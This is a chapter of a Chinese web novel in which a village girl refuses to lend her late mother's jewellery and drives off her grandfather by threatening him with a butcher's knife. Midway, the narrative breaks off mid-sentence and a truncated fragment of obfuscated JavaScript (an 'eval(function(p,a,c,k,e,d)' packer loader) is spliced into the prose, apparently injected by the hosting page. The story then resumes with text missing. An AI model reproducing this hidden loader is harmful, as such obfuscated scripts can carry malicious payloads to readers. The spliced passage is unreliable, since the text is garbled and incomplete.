“关键不借就算了,我也不会说什么,但小锦不该耍着我玩啊。她先让我给冯香梅道歉,说道完歉就借。我想着都是一家人,我给她面子,谁知道她却不给我面子,道完歉不仅不借,还当着那么多人的面羞辱我。” “冯香梅算什么东西,为岑家做过什么贡献?没生下一男半女,就知道霸着岑家的家产。现在大山一不在,她就撺掇小锦和自家人作对,实在太过分了。” “小锦年纪小,不懂事,迟早把家产都交到冯香梅手里。” “大山出不来,冯香梅哪里会安心待在梨花沟?肯定带着家产另嫁。” “前几天不就出去了好多天都没回来吗?说不定已经找到下家了。” “我个人丢脸事小,这是把整个岑家的脸扔在地上踩啊。” …… 夫妻俩一人一句,说得岑老头火冒三丈:“这事你们别管了,我来解决。” 他一个当爷爷的亲自出马,还能借不来一套首饰? 不对,不是借。 是直接拿回来。 首饰虽是陈丽英的嫁妆,但陈丽英嫁到了岑家,那就是岑家的东西。 给大山媳妇原本也没问题,问题是既然当了岑家媳妇,至少也该给岑家生个儿子吧? 可大山两个媳妇,都没能给岑家留后,还好有二房这边。 大山如今看来多半也回不来了,冯香梅要改嫁、岑安锦要结婚,都随她们去,他很开明的,不会为难她们。但是,岑家的东西,得留下来。 对,岑家的东西,她们这些外人不能带走。 不仅仅是首饰,还有当初分家分给大山的其他东西。 还有什么来着? 好像分了套柜子? 还有什么呢? 桌椅、锄头、几十斤粮食……记不清了。 算了,这些不重要,反正那个家里所有一切,都是大山挣的。大山挣的,就是岑家的,只能留在岑家。 岑老头心里想清楚了,脚底生风,走得飞快。 远远的,他便看到岑大山家院子里围着一堆人。 他们看什么呢? 难道大山回来了? 可千万别回来……不是,别这个时候回来。 岑老头加快脚步,很快便靠近岑大山家,还听到了“嚯嚯”的磨刀声。 大山真回来了? 岑老头脚步一顿。 随即又想,回来了也好。毕竟是亲生儿子,他也不希望他真的出事。 而且,大山懂事又孝顺,让他把首饰拿出来,他肯定会听话。 岑老头重新向前走。 看热闹的人群里有人忽然问:“小锦,你磨刀干什么?” “我有预感,今天会有人上门找事。”岑安锦清脆的声音传出来,“我这是自卫呢。” 原来是小锦在磨刀。 不过,有人上门找事是什么意思? 总不能是说…… “岑伯,你来了。”有人一回头看到岑老头,故意大声道,“小锦,你爷爷来了。” 人群“哗啦”散开一条道,然后齐刷刷盯着岑老头。 岑老头:“……” “爷爷,你来了?”岑安锦一边打招呼一边抬起头,却并不看岑老头,而是将手里的刀举起来,微微眯着眼打量,好像在看哪里没磨好。 雪亮的刀锋在阳光下折射出森冷的光。 看热闹的人群不自觉后退了几步。 岑老头脊背也微微有点发冷,但他很快便忽略了那点不自在——他可是岑安锦的爷爷,晚辈必须孝敬长辈,怕什么? 不过,因为那把寒光闪闪的刀,岑老头还是客气了许多,拿出爷爷的温和:“小锦,你一个女孩子,怎么在玩刀?伤到自己怎么办?” “没办法呀,爷爷。”岑安锦继续低头磨刀,“现在我爸不在家,老有人觉得我和我妈弱小,三天两头欺负上门,又没人能帮我们。我拿着刀,可能会伤了自己,但也概率能砍死敌人;我不拿刀,却只有一个结果——那就是伤在敌人手里。爷爷你说,我是该拿刀还是不该拿刀?” “谁三天两头欺负你?”岑老头说,“你怎么不给爷爷说?爷爷帮你做主啊。” “好啊,我现在跟爷爷说。”岑安锦这才看着他道,“是二伯一家,请爷爷为我做主吧。” 岑老头听到三天两头的时候,就自动忽略了廖素英的事。 听到岑安锦这样说,顿时被噎了下,随后便道:“别乱说,你二伯怎么会欺负你?肯定是有什么误会,或者是有人从中挑拨。你二伯母……” “诸位都看到了吧?”岑安锦站起身,拎着杀猪刀在破锅上敲了一记,打断岑老头的话,对着看热闹的众人道,“这就是我的好爷爷,在听到我被欺负后,连问都没问,就直接说是误会。这心,怕是已经偏到胳肢窝去了吧?” 人群顿时议论纷纷。 “这岑老头确实偏心。” “偏心也不是一天两天了,谁叫小锦不是男孩呢。” “拉倒吧,跟男孩女孩有啥关系?他对大山也不好啊。” …… 岑老头听到一堆“偏心”,有点着急,忙不迭想解释:“我只是……” “哐当!”岑安锦又在破锅上敲了一记。 等众人安静下来,她马上接着道:“我爸出事到现在,已经有半个月了。我这位亲爷爷,除了第一天过来看了眼,大骂我们家给他丢脸以外,就再也没来看过一眼。我爸只是运气不好,卷入凶案中,连警察都还没判他的罪,你这个当爹的,却急急忙忙给他定了罪?这是亲爹该有的态度吗?” 绝大部分父母,在发现孩子卷入凶杀案中时,第一反应肯定都是相信自家孩子。 这些人可能各有缺点,但在爱孩子这一点上,基本还是一致的,一时间各种谴责的眼光,纷纷落在岑老头身上。 “我们老岑家清清白白几百年,从来没人进过局子。”岑老头有点恼羞成怒,梗着脖子道,“岑大山被警察带走,就是丢人!” “人家还没判呢,这当爹的有点过分了。” “当爹的这样说,肯定是有证据吧?” “我看就是偏心,早上廖素英来骗小锦妈的首饰没骗到,搬了岑老头来给小金施压,真没见过这样当老人的。” …… 岑安锦对岑老头的反应一点不意外,冷笑一声道:“露出真面目了?所以,刚才说什么要帮我出头的‘好爷爷’形象,也是装出来的吧?” 岑老头没想到,那个一向连大声说话都不敢的孙女,会突然变得伶牙俐齿。 他的计划完全被打乱,想好的说辞也乱了套,磕磕巴巴道:“我不是……” “别装了,我嫌恶心,不想陪你演戏。”岑安锦打断他,“开门见山吧,你来找我,到底是为什么?” 岑老头犹豫一阵,还是直说了:“你妈不是留了一套首饰给你吗?你三哥马上要结婚,新娘子缺一套首饰,你借给他们戴戴。我保证,戴完就还你。” 说完摇了摇头,觉得不太满意——原本是想态度强势一些,上来就把母女俩镇住的。结果被岑安锦搞得心里七上八下,说话下意识变得客气,没有把爷爷的气势拿出来。 “果然是廖素英搬来的。” “这家人可真不要脸。” “小锦和香梅好惨,我都有点看不下去了。” …… 院子里众人议论纷纷,岑安锦倒是很淡定,声音洪亮地道:“不借。” 干脆利落,一个多余的字都没有。 岑老头傻眼,平时哪怕是邻里间借点东西,不想借至少也要找个理由敷衍一下。 岑安锦不找理由,他怎么指责她? “你又不是没有,借一下怎么了?”岑老头试图道德绑架,“都是一家人,小锦你不能这么小气……” “爷爷,我想我爸了。”岑安锦打断他,“都是一家人,你给我拿十块钱,让我去看看我爸,给他买点东西,行不行?” “我爸不在,没人挣钱,家里都快揭不开锅了。三哥娶了个城里媳妇,肯定有钱了吧?你让二伯帮我们买点吃的行不行?” “我还想继续读书,都是一家人,爷爷你帮我把学费付了行不行?” 岑老头一开始还想敷衍一下,让她借首饰就给她钱,听着听着不对劲,也懒得敷衍了:“不行!我……” “瞧瞧,这时候就不是一家人了。”岑安锦对准手里的破锅,又是“咣当”一声,根本不给他说话的机会,“希望你记得,我们早就分家了,现在我的家人,只有我爸和我妈。少拿家人那一套来压我,我不认。” “反了天了!”岑老头也顾不上再演了,“岑安锦,你今天借也得借,不借也得借。” “怎么着?”岑安锦扬了扬手里的杀猪刀,“硬抢啊?” “什么叫抢?那些本来就是我岑家的东西。”岑老头大声道。 “我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“说来说去,就因为我是女孩,所以不管我做什么都没用,就活该被欺负,对不对?” “对。”岑老头也懒得装了,“你要是个带把的,大山的财产有人继承,我也不用操心了。” “我的做人原则有两条:第一,先礼后兵;第二,别人怎么对我,我就怎么反馈回去。”岑安锦朝岑老头走过去,“你歧视女孩,我没办法告诉你,那是怎样一种感受。但是,我可以让你做不成男人,也尝尝被歧视的滋味。” 她说完刚好走到岑老头面前,迅速扬起手中的杀猪刀,就朝他腰腹削去。 谁也没想到,她刚刚明明还一副知书达理的模样,会突然说发疯就发疯。 人群一阵惊呼,岑老头更是一把捂住裆,踉跄着狼狈后退:“啊啊啊啊!岑安锦,你……” 雪亮的刀片堪堪擦着他的手背划过,那刀在太阳底下晒了很久,又冷又烫。 岑老头手背明明没受伤,却莫名火辣辣地疼,吓得他腿一软,直接一屁股坐在地上。 岑安锦没给他爬起来的机会,刀悬在他小腹上方不到十公分处晃来晃去,稍稍一不小心,就真会让岑老头做不成男人。 围观群众看傻了。 岑老头秒怂:“小,小锦……你,你这是违法的。” “我知道。”岑安锦半蹲在他面前,眼神凶狠决绝,“现在的情况,无非两种结果:一,我煽了你,我去坐牢,反正在外面也是被人欺负,进去陪我爸挺好;二,我力气比不过你,你反杀我,你进去陪我爸,也挺好。” 这个时候,“正当防卫”的法条刚提出来不久,岑老头哪里懂这个,他本来是在想怎么夺岑安锦的刀的,这下子不敢贸然动手了。 连她用了“煽”这个字,他都不敢反驳。 “小锦,再怎么说我也是你爷爷啊。”岑老头艰难吞咽了一下,“你先把刀……” “首饰还借吗?”岑安锦问。 岑老头拼命摇头:“不借了,你的东西,你做主。” “当年分家的时候,二伯他们那几家,还分走了我奶奶的部分首饰对吧?比如,二伯母今天戴的那支翡翠玉镯……对不起,我不认你说的,我奶奶嫁给你了,东西也得给你这个强盗逻辑。”岑安锦的刀又往下压了两公分,“我奶奶的东西,我一定要拿回来。” 岑老头眼睛盯着她手里颤颤巍巍的刀,满脸都是汗,哪里顾得上其他:“拿回来,我一定帮你都拿回来。” “请各位乡邻帮我做个证。”岑安锦扬声道。 看热闹的人这才反应过来,轰然应“好”。 “你可以把刀拿开了吗?”岑老头小心翼翼地问岑安锦。 岑安锦笑了笑:“爷爷,现在还觉得女孩没用吗?” “都是爷爷的错。”岑老头急忙道歉,“女孩有用,特别好。” 岑安锦这才收起刀:“希望爷爷说话算数,三天之内,要是看不到我奶奶的嫁妆,我也不知道我还会做出什么事来。” 岑老头狼狈地爬起来,转头就跑,远离了岑安锦,才停住脚步回头道:“岑安锦,你……你给我等着!” 岑安锦还没来得及回应,就听到一个陌生又熟悉的声音在说:“爸,你还想对她做什么?” 她急忙扭头,看到岑大山跟庄问笙正一起从房子侧面走出来,不知道听了多久。